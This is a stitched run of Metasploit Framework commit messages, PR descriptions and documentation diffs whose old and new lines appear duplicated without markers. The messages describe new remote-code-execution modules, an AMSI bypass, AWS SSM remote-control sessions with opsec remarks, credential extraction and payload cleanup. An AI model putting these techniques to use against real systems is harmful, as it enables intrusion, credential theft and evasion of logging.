This PR adds a variety of improvements to the
enum_computers module including shell and powershell
support as well as improvements to run on non-english
systems.
This PR adds a module that exploits a series of vulns
which leads to RCE on affected TorchServers tagrets. It
also includes updates the the class_loader library.
The URIPATH must end with / due to how the package names are requested
from the web server in a nested directory structure. #on_request_uri
also needed to be updated to check for the relative resource.
This PR updates metasploit-framework side for the
metasploit-payloads fix#672. This PR also includes
metasploit-framework PR #18445 which bumps the
metasploit-payloads gem version to 2.0.156.
Kibana before version 7.6.3 suffers from a prototype
pollution bug within the Upgrade Assistant. This PR adds
an exploit module to exploit the bug. There is no CVE
for this issue at the moment.
Change strings to reference `VMware` using the proper case. Don't
include CmdStager (because it's unnecessary). Set PrependFork to fix
shell payloads. Move CamelCase options to advanced.
* Reduce verbosity of log messages
* Move 'check_*' methods into 'check' method
* Fix non-existent Windows PowerShell Command payload
* Clearer log message for unpausing DAG in 'check_unpaused' method
This PR fixes a stack trace thrown by the forge_ticket
module when the SPN datastore option was left blank. The module
now fails due to bad-config and gives a detailed error message.
This PR adds a module for an unauthenticated RCE vulnerability
in Maltrail, a malicious traffic detection system. This vuln
does not have a CVE associated with it.
This PR adds support for detecting whether a session is
running in a podman container and improves detection for
sessions running in Docker, LXC and WLS containers.
The connection needs to slowly send data to the remote end for
stability. Additionally, the `exit` command should be issued when
closing the connction so it is reset back to the logon prompt.
Windows shells require an extra configuration that when present still
doesn't offer either the cmd.exe or powershell session that MSF expects
but rather a SAC shell.
AWS EC2 Nitro instances (and possibly others) support serial proxy
over SSH using the Instance Connect API:
https://docs.amazonaws.cn/en_us/AWSEC2/latest/UserGuide/
connect-to-serial-console.html
This process consists of sending an SSH pubkey to the serial proxy
control plane, connecting to a well-known URL with the instance ID
and port number as username, and the SSH private key as credential.
The resulting session is a "fragile" SSH context which does not
tolerate Channel-closing, requiring some special handling in Msf to
safeguard the initial Net::SSH::CommandStream.
Implement a BindAwsInstanceConnect Handler which loads an SSH key
from the local FS or generates a new one on the fly, passes the
pubkey to the InstanceConnect API, and then establishes SSH comms
with the InstanceConnect SSH proxy.
Implement a AwsInstanceConnectBind to handle resulting connetions,
derived from SshCommandShellBind, with an updated #bootstrap which
avoids meddling with the fragile CommandStream/Channel.
Testing:
Got serial console to the ttyS0 login prompt of a Nitro EC2 VM.
Logged in using previously-known credentials.
Verified console operations.
Notes:
Handler keeps firing, same as the SSM session concern.
There is a limit to the number of sessions which an instance can
hold (possibly only one).
This updates the aarch64 payloads to include comments with the
corresponding instructions for each little-endian integer. It also fixes
the debug output for x64 payloads under rosetta.
This module exploits a vulnerability in pfSense version
2.6.0 and below which allows for authenticated users to
execute arbitrary operating systems commands as root.
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR #18170, commit hash ad0d3e79, where Msftidy lint test fails
* to pass, but in the next commit 591fee18, the test passes.
* Small fixes in Description - removed backticks
* Implemented Windows Command target
* Removed PowerShell Stager, in Targets and in exploit method
* Implemented Rex::Socket::Tcp in place of TCPSocket
* Updated TARGET section in documentation
* Added TARGET 0 - Windows Command scenario
* Removed PowerShell Stager scenario
* Replaced 'Using configured payload' lines to use Windows Command payload
for the 2nd, 3rd, and 4th scenarios. Did not rerun the scenarios, however
The _AppDomainPtr, _AssemblyPtr and _MethodInfoPtr variables are COM smart pointers which will auto-Release() when they go out of scope, so we should not directly Release() them.
This reverts commit f97ab80224, reversing
changes made to c8f942cc03.
This change impacted the default `psexec` powershell target and needs further
testing to be reintroduced.
This adds support for the dyld changes incorperated into Sonoma and
cleans up the existing support for Ventura. This does not break
compatibility with previous versions.
This adds support for the dyld changes incorperated into Ventura which
includes changes to the symbols used. This does not break compatibility
with previous versions.
This commit adds the sign method to Payload::MachO which performs a
basic SHA256 signature update on the provided macho to enable it to run
under osx aarch64 systems.
This builds on Back from the dyld by adding the required aarch64
assembly code to enable the OSX loader to run on the m1. This enables
the use of native payloads on M1 or M2 devices that do not have Rosetta
installed.
When the entry point is after the payload, there woud occassionally be
cases where `poff` and `eidx` to be invalid, causing `entry` to be
truncated. `poff` should never be negative and `eidx` should reserve the
256 bytes that `entry` may occupy.
The script generated by the web_delivery module is blocked
by the Antimalware Scan Interface (AMSI) on newer versions
of windows. This PR allows the script to bypass AMSI.
Get all instances if limit is not set, improve output slightly.
Note: `inst.network_interfaces.select {|iface| iface.association}`
appears to have problems with multiple calls at run time - says
that the AWS SDK is trying to call `:[]` on `nil` but works in Pry.
Move debugging info into same file and make markdown match standards
Add more info on Pry debugging using Alan David Foster's explaination
Fix up broken URL links and format new URL links correctly
Fix up formatting and add information on Debug.gem supported commands
* Update modules landed as a scanner into a more appropriate category.
* Adds a check method based on TP-link default `TITLE` html.
* Rename module consistent with existing exploit.
Previously there was not the ability to restore the server proxy setting.
This updates the code to do so. Additionally this also updates the documentation
to note that Fetch payloads are incompatible with this module since they
use HTTP connections that will be impacted by this module changing the server's
HTTP proxy settings. There is no way around this.
The size requriement is used when the adapted payload is executed from
the command line but that's not the case for the fetch payloads which
execute a command to fetch the payload from a URL. The payload size
doesn't matter because it's included in the executable file hosted at
the URL.
* Prevent using post modules with the session
It doesn't work reliably because of winpty and how the output is
mangled.
* Set the limit correctly
* Fix Linux PTY downgrade issues
* Remove filtering
The filtering implementation is incomplete and unnecessary.
Filtering is unnecessary because Linux sessions execute a stub on
session start up that uses a combiantion of stty and a fifo to emulate a
PTY-less session. Windows sessions do not need filtering because they
have been explictly marked as being incompatible with the Post API which
is confused by the extra characters.
The filtering implementation is incomplete because it does not account for
echo fragments that are split across lines. It also does not account for
all of the ANSI escape codes.
* Add module docs for enum_ssm
The function required a filter argument, but not every query has a
filter. By removing it, we can reuse the same logic for other operations
including modifications.
* Revert "shell_command_token_base get 0th output index"
This reverts commit 3a4cb3560f.
* Correct the order of arguments to #set_term_size
* Fix paths for directory checks
The path C:\ ends with a trailing backslash which will cause bash to
wait for another line if input. This places the shell in an undesirable
state.
* Fix post module tests for Linux
* Remove the command document
This hasn't been tested and it's unclear under what conditions this
would be used.
* Fix Windows SSM sessions
---------
Co-authored-by: Spencer McIntyre <zeroSteiner@gmail.com>
The exists? method in post/file has a different implementation for
PSH sessions than other shells which are testing for the existence
of a path, not the presence of a file.
Fix this by replacing [System.IO.File]::Exists with Test-Path.
Testing:
```
PS C:\Windows\system32> [System.IO.File]::Exists("C:\")
False
PS C:\Windows\system32>test-path C:\
PS C:\Windows\system32> test-path C:\
True
```
There was an issue in the ACE processing where only ACEs corresponding
to an object were processed for SIDs with enrollment rights. The
processing should also process ACEs that grant the enrollment right and
are not related to any objects. In other words, only ACEs associated
with an object that is neither the CERTIFICATE_ENROLLMENT_EXTENDED_RIGHT
or CERTIFICATE_AUTOENROLLMENT_EXTENDED_RIGHT right should be ignored.
- Put all the error-disabling statements on a single line
- Remove some useless spaces
- Use `stristr(…)` (available since PHP4) instead of `strpos(strtolower(…))`
- Use `&&` instead of `and`
- Use backticks instead of `passthru`, since they're equivalent: https://www.php.net/manual/en/language.operators.execution.php
MessagePack 1.7.0 gem introduced code not compatible with the current
build env used for nightly packages. This may be addressed in several
ways and has been reported upstream. Lock the version a until a path
forward is determined.
* Improve base login scanner to catch any Exception
* Catch any Exception in SNMP scanner that overrides base method
* Expand connection errors possible in PostgreSQL scanner
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
Fixed some typos, took into account the comment from jvoisin to infer fields from the JSON reply, used fail_with as suggested by jheysel-r7, fixed a rubocop warning about a redundant begin block.
Update the enum_ssm module to use the correct session type with the
appropriate platform. Also set the session information to the same
string which also removes the eye sore that is the shell banner.
This module exploits a publically accessible endpoint in
SPIP that results in code execution in the context of the
user running the webapp (CVE-2023-27372).
Rex::Proto::DNS::Resolver is currently unable to approximate the
host OS' native resolver because:
1. It cannot cache responses and has to go out to its defined NS'
each time to query for the answers,
2. Because it is not aware of the system's hostsfile entries which
can result in leaks/mis-targeted execution, and a bunch of other
unpleasantly nuanced problems.
Address the concern by:
1. Creating a descendant CachedResolver class from
Rex::Proto::DNS::Resolver, with a #send method override which
performs cache query and population.
2. Moving the Cache class up one namespace to Rex::Proto::DNS and
updating the server accordingly.
3. Fixing the MATCH_HOSTNAME regex in Rex::Proto::DNS::Constants to
allow a short-name (vs FQDN) and creating a relevant MATCH_FQDN.
TODO:
1. Deal with adding search domains from the system to short-name
queries and records; if we decide this is a good idea (potential
for leaks).
2. Look at performance optimization for multiple concurrent queries
via singleton/refcounted/other optimized concurrent access patters.
Testing:
1. Pry-level tests of the objects edited/created in this PR. Needs
some runtime testing to QA.
Both the reference links in this one are dead, replacing with archive.org links.
Much like https://github.com/rapid7/metasploit-framework/pull/17825, I'll be doing these ad-hoc for a little bit until I figure out a reliable way to do a load of them in one batch.
This module exploits an undocumented backdoor vulnerability
(CVE-2019-7276) in the Optergy Proton and Enterprise Building
Management System (BMS) applications.
The Secunia links in the framework were dead. They have
now been restored using the wayback machine to grab
replacement links from the earliest date possible.
The default action "Malformed Packet" reports all users as found even
though they don't exist.
Setting "CHECK_FALSE" to true will make the scanner bail out as it
realizes the target is patched.
Implement reverse shell over SCTP in Python.
During testing against Arch Linux with Python 3.10.9, any attempt
to interact with the resulting shell produced:
```
Traceback (most recent call last):
File "/tmp/shell.py", line 12, in <module>
so.send(o)
OSError: [Errno 22] Invalid argument
```
Implement handling for OSError 22 on the send() method for the
abnormal stream socket.
Testing:
Tested against local KVM virtual machine running Arch Linux
With the introduction of SCTP socket support in Rex::Socket via
https://github.com/rapid7/rex-socket/pull/56, Framework can utilize
this protocol for session transports similarly to TCP as it is a
stream-wise transport.
Implement bind and reverse handlers for the new socket type.
Implement example bind and reverse payloads using socat copying
from the initial udp sessions implementation.
Testing:
Rudimentary bind session test against local Libvirt Linux VM
Next steps:
Implement the language-level payloads for the interpreters common
to POSIX environments supporting SCTP.
Implement meterpreter transports for SCTP in Python, PHP, Mettle,
and Java modalities (Windows doesn't support it without carrying
its own usermode protocol library).
Create an AwsSsmCommandShellBind session type to provide intercept
points for shell command interactions and a wrapper class which is
used to register the new session.
Update Msf::Handler::BindAwsSsm with its own #create_session method
utilizing the new session type to provide direct control of session
initialization.
Restore standard handler attributes and thread nomenclature in an
attempt to resolve the repeating session creation when #to_handler
is called on the payloads.
Testing:
Tested in local framework, unfortunately the recurring session
init problem appears to persist. Requesting testing on an upstream
Framework by saner folks.
Update SSM handler code to standardize datastore option names per
@zeroSteiner.
Update payload modules to reflect the OS targets against which they
are to execute.
Bail out of console resize operation if ::IO.console doesn't exist
Enforce REGION datastore option and remove the multi-region enum
code by Aaron - users can write resource scripts if they need
automation.
Add a post module for credential extraction from WhatsUp Gold instances
on Windows hosts. The module should theoretically decrypt ciphertext
from any version of WhatsUp Gold, although it has only been verified
working on WhatsUp Gold versions 11.0 through 22.0.
Expand SSM enumeration module docs to explain full functionality.
Enable the LIMIT configuration option to restricte results per
region.
Implement FILTER_EC2_ID configuration option to permit targeting
of a specific instance for session initiation.
Testing:
Finds limtied sets of systems and initiates sessions
Finds desired system ID and initiates session
The SSM session socket times out without data being sent at the
upper (SSM) WS layer. Implement keep-alive in a separate thread
which simply writes nothing into the channel at irregular intervals
to simulate user activity.
Testing:
Sessions established with this code running have not timed-out
in over 15m despite being completely unused
Enable session acquisition from AWS SSM enumeration module simiar
to how the telnet login scanner acquires sessions on the sockets
exposed.
Testing
Tested execution - finds systems, gets shells, autopwn-capable
Coopt Aaron Soto's EC2 enum module & replace the guts with an SSM
query for not-terminated EC2 instances with SSM capability. This
will proide users with the instance IDs needed to test their SSM
shells and can be expanded to report information or even act as a
"brute-force" module which automatically starts SSM sessions.
Testing:
None - might eat your monitor lizard
Implement terminal resizing to WebSocket shell
Reorganize code to ease later extension
Implement peerinfo in channel context from AWS EC2 SSM information
gathered during session validation
Implement echo-filtering for session inputs (hacky, but works)
Testing:
Verified console resizing, color/reset/etc
Verified peerinfo and interaction
Verified common session operations
Notes:
SSM WebSocket sessions time out pretty quickly, implementing
dedicated SSM session types which support suspend/resume to match
backgrounding/foregrounding operations in the console should help
to resolve this. Alternatively, a keep-alive using empty frames
may be implemented in the SsmChannel itself on a separate thread.
Alter WebSocket::Interface::Channel to accept a mask_write flag to
set the Channel behavior for outgoing data (since the on_data_write
handler can only deal with the buffer provided, not how the wsframe
containing it is written to the "wire"). Set the flag to false for
SSM's WebSocket operations.
Extract Rex::Proto::Http::WebSocket::AmazonSsm from the handler to
permit reuse by other framework elements.
Implement SSM-specific UUID handling.
Create sane SsmFrame constructor to permit convenient operations.
Implement Http::WebSocket::AmazonSsm::Inteface::SsmChannel from
Http::WebSocket::Inferface::Channel with message-type handling and
output processing. Acknowledge incoming messages, process incoming
acknowledgements, increment sequence IDs appropriately, and handle
basic logging.
This new session type removes the 2500 char output restriction and
stateless peer cwd.
Testing:
Execution of handler now provides stateful interactive shells
Next steps:
More testing, preferably by other people with upstream framework.
Peerinfo and presentation updates for the session channel
Misc cleanup
Future work:
Implement new SSM session type with support for multi-console,
port-forwarding/socket routing, and custom SSM documents.
Implement FSM handlers for session suspension and resumption in
Http::WebSocket::AmazonSsm::Interface::SsmChannel
Create BinData structure to handle the proprietary format of AWS'
SSM WebSocket protocol. Implement relevant inter-field dependencies
and a virtual payload_valid field to handle the SHA256 digest check
for the current state of r the payload_data field.
Implement user-accessible SSM document definition to permit use of
custom-defined command and session documents (stubbing for session
types such as port-forwarding) which may be of use when dealing
with restrictive IAM.
Restructure handler in preparation for moving the WebSocket code
into Rex::Proto for use by other consumers such as custom payloads
and session types like fully interactive (vs REPL) modalities, or
some form of "cloud-native" MeterSSM.
Testing:
Verified acquisition of SSM WS frame and relevant field ops
Next Steps:
Create WS loop to abstract shell communications
Wrap in Rex*Abstraction bowties for the session handler
Test -> ? -> Profit
Using the implementation in https://github.com/humanmade/ssm, use
the onconnect websocket authenticator as a JSON string written as
a wstext Frame into the established WebSocket. This keeps the sock
open with AWS after returning it from the method, but subsequent
operations will require definition and encoding/decoding of SSM's
proprietary data structures.
Testing:
The initialized WebSocket is kept open and returns wsframes when
requested.
Next steps:
Port the various data structures from the JavaScript library
Implement encoding & decoding for their wire-level formats
Implement state management and data flow handling logic for
the WS SSM protocol.
Port WebSocket initiation routine from Exploit::Remote::HttpClient.
Currently inert since it appears to require a handshake procedure
along with its own type of data frame.
Implement graceful fail-down for session establishment which tries
to initiate a WebSocket session for proper functionality, failing
down to the script-execution style session abstraction if the WS
session does not marshal properly. Use this exception handling to
deal with the WIP WS session state.
Testing:
Gets the same kind of command-abstracted session as before
Interface-extended socket returns garbage from naive #write and
nothing from put_string or put_binary - not going to get anything
out of this thing until we establish the handshake procedure.
Next steps:
Figure out data frame structures for handshake and console IO
Implement handshake on-init, validate state
Implement IO abstraction for the resulting Channel for handoff
to #handle_connection
Amazon Web Services provides conveniently privileged backdoors in
the form of their SSM agents which do not require connectivity with
the target instance, merely valid credentials to AWS' API. Due to
this indirect "connection" paradigm, this mechanism can be used to
control otherwise "air-gapped" targets.
This approach abstracts asynchronous request/response parsing for
SSM requests into an IO channel with which the AWS SSM client is
then wrapped to emulate the expected Stream. The mechanism is rather
raw and could use better error handling, retries on laggy output,
and a threadsafe cursor implementation. It may be possible to start
an actually interactive session using the #start_session method in
the AWS client library, but so far testing has not yielded positive
results.
There is a significant limitation with these sessions not present
in normal stream-wise abstractions: a response limit of 2500 chars.
This limitation can be overcome by utilizing an S3 bucket to store
command output; however, due to the nature of access we seek to
obtain, it would not only add to the logged event loads but retain
the results of our TTPs in a "buffer" accessible to other people.
This functionality can be added down the line in the form of S3
config options in the handler to be passed into the SSM client for
command execution and acquisition of output.
Testing:
Gets sessions, provides command IO, leaves a bunch of log entries
in CloudTrail (something to keep in mind for opsec considerations).
Next steps:
Reorganize our WebSocket code a bit to provide connection and WS
state management inside Rex::Proto::Http::Client which can then be
exposed to the Handler without having to mix-in other namespaces
from Exploit.
Use the #start_session SSM Client method to extract the WS URL
for the relevant channel, and utilize that as the underpinning for
our session comms.
Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
`
},
attic: {
close: true,
comment: `
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
Maintainers can assign labels to both issues and pull requests.
### Attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Bug
Any PR that fixes a bug or an issue that raises awareness of a bug in the framework.
### Breaking Change
Features that are great, but will cause breaking changes and should be deployed on a large release.
### Code Quality
When a PR improves code quality.
### Confirmed
Specifically for issues that have been confirmed by a committer.
### Docs
Documentation changes, such as YARD markup, or README.md, or something along those lines.
### External
### External Modules
Touches something in /external, or the Gemfile, or something like that.
PRs dealing with modules run as their own process.
### Heartbleed
Has to do with heartbleed. This will go away soon, but there are three outstanding still...
### Hotness
Something we're really excited about.
### Library
Touches something in /lib.
@@ -26,20 +50,20 @@ Plugins and scripts, anything that's not otherwise defined.
### Module
Touches something in /modules
Touches something in /modules.
### Specs
### Needs Linting
Has specs (an rspec test)
The module needs additional work to pass our automated linting rules.
### Needs More Information
The issue lacks enough detail to replicate/resolve successfully.
### Newbie Friendly
Something that's pretty easy to test or tackle.
### attic
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
### Needs unique branch
Your submitted a PR from your `master` branch.
@@ -49,4 +73,74 @@ Because of how GitHub tracks changes between branches and what got added in a pa
git checkout -b <BRANCH_NAME>
git push <your_fork_remote> <BRANCH_NAME>
```
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
### Needs-docs
When a module is uploaded without a corresponding documentation file, add this label in indicate docs are required
### Not Stale
Label to stop an issue from being auto closed.
### Osx
Label for any osx related work.
### Payload
Touches something related to a payload.
### RN (Release notes)
There are a series of labels that are added to all PRs when they are landed that define the release notes for the PR.
They are denoted by the `rn-` prefix and they are important as they are used by automation to track metasploit-framework
statistics:
#### rn-enhancement
Release notes for an enhancement.
#### rn-fix
Release notes for a fix.
#### rn-modules
Release notes for new or majorly enhanced modules.
#### rn-no-release-notes
The PR is too small or insignificant to warrant release notes.
#### rn-wiki
Release notes for Metasploit Framework wiki.
### Stale
Marks an issue as stale, to be closed if no action is taken.
@@ -93,7 +93,7 @@ One advantage that this directory structure gives us is the ability to write bet
### Shared build tasks
Because all routine module-oriented tasks will be preformed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
Because all routine module-oriented tasks will be performed with rake tasks, we will need to make the default actions for these tasks as intelligent and reusable as possible across different module types/implementations. A module author should not have to worry about writing plumbing they do not need (or is common) or messing with plumbing that is only tangentially related to their unique need. To that end, we should have sane defaults for the following at a minimum:
```
rake run -- Start module, hook up stdin/stdout to JSON-RPC
@@ -115,4 +115,4 @@ At the very least, we will also need tooling to create a mostly-empty but runnab
### For classic modules
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
The biggest differences for classic modules are metadata generation and running. These can be accomplished with rake tasks, but it would involve starting up a whole framework instance for each module run. For efficiency, we will need to signal to framework to treat the module specially, perhaps having rake deps:check output/return a specific value when the module needs to be run inside of framework. Metadata would then be dumped directly from the framework loader, and instead of rake run, the classic module loader/runner would be run much as it is today. We will probably want to keep the rake tasks for these things for when we don't already have a framework instance handy.
2. Modify your `.git/config` file to enable signing commits and merges by default:
````
```ini
[user]
name=Your Name
email = your_email@example.com
@@ -114,7 +114,7 @@ Enter passphrase: [...]
[alias]
c=commit -S --edit
m = merge -S --no-ff --edit
````
```
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
Enable faster implementation of SQL injection based explot modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Enable faster implementation of SQL injection based exploit modules by adding library support for common injection attack vectors. Currently very few sql injection exploits are implemented for Metasploit possibly due to the high complexity of building out injection queries and posting them to a vulnerable URI.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for regstering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts.
Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
@@ -31,7 +31,7 @@ Difficulty: 3/5
### Enhanced LDAP Query & Collection
When preforming security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
When performing security assessment on a network with centralized login such as LDAP or Active Directory these services are sometimes exposed directly on the network. While Metasploit has capabilities to collect various pieces of information from these services when a user has been able to gain code execution inside a target system by utilizing tooling such as `Sharphound` or by leveraging SMB services via the `secrets_dump` module, these methods are somewhat indirect. A network base capability to query exposed services may have value. An interactive terminal plugin allowing users to connect directly to LDAP or Active Directory providing capabilities similar to the existing `requests` plugin could enable users search for valuable information in these services without the need to compromise a target or interact with a secondary service.
@@ -35,7 +35,7 @@ But of course, to begin, you most likely need a template to work with, and here
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -69,7 +69,12 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Privileged'=>false,
'DisclosureDate'=>'',
'DefaultTarget'=>0
'DefaultTarget'=>0,
'Notes'=>{
'Stability'=>[CRASH_SAFE],
'Reliability'=>[REPEATABLE_SESSION],
'SideEffects'=>[ARTIFACTS_ON_DISK,IOC_IN_LOGS]
},
)
)
end
@@ -99,7 +104,14 @@ end
* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`.
**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
***DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
* **Notes** - The Notes field is a hash always containing three keys. The value of each key is an array of constants. The list of available constants can be found in the [[Definition of Module Reliability Side Effects and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]. The key should be present even if the array is empty.
* **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
Metasploit plugins can change the behavior of Metasploit framework by adding new features, new user interface commands, and more.
They are designed to have a very loose definition in order to make them as useful as possible.
Plugins are not available by default, they need to be loaded:
```msf
msf6 > load plugin_name
```
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
```
load plugin_name
plugin_name_command --option
```
## Available Plugins
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
@@ -62,9 +62,9 @@ res = @http_client.send_request_cgi({
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
### `cookie` option
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
Shown below is the request used to login to a gitlab account in the [artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
artica\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
## Examples
The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
includeMsf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be:
Metasploit has a handy `cleanup` method that is always called when the module terminates, whether it is successful or not. This method can be overridden by any modules to add their own cleanup routines. For example, this might be useful to put some files back on the target after the module had deleted them. Another scenario would be to restore the settings in a web application that were modified by the exploit. This is the right place to clean things up.
Framework itself implements this method to disconnect connections, call the handler cleanup routines, etc. Some other mixins, such as the `Msf::Exploit::FileDropper` (see the next [section](#filedropper-mixin)) or `Msf::Exploit::Remote::Kerberos::Client`, override this method to add their own cleanup code. It is extremely important to **always** call `super` in your `cleanup` method to make sure Framework and any other mixins clean up themself properly.
Here is an example that restores a configuration file after being deleted by the module:
```ruby
defcleanup
unlessself.conf_content.nil?
write_file(self.conf_file,self.conf_content)
end
super
end
```
Here is another example of a `cleanup` method that deletes a temporary Git repository:
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
The [FileDropper mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb) is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
includeMsf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the `register_file_for_cleanup` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: `C:\Windows\System32\payload.exe`, then my statement can be:
